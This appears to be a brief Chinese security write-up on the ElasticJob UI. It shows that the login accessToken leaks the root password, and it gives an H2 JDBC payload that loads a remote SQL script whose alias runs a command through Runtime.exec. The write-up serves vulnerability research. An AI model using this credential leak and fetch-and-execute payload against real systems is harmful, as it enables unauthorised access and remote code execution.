
getToken函数会将this对象转json返回,而this对象中存储了root的密码

分析调用关系

handleLogin函数处理登录时会进行判断,如果authenticationResult.isSuccess()登录成功会返回getToken()
而handleLogin在 org.apache.shardingsphere.elasticjob.lite.ui.security.AuthenticationFilter#doFilter 使用,用来判断如果是登录的url则进行处理。

accessToken字段解码就有root的密码了。
默认有h2和pgsql
Make JDBC Attack Brilliant Again!

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
-- poc.sql内容如下
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('calc.exe')
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。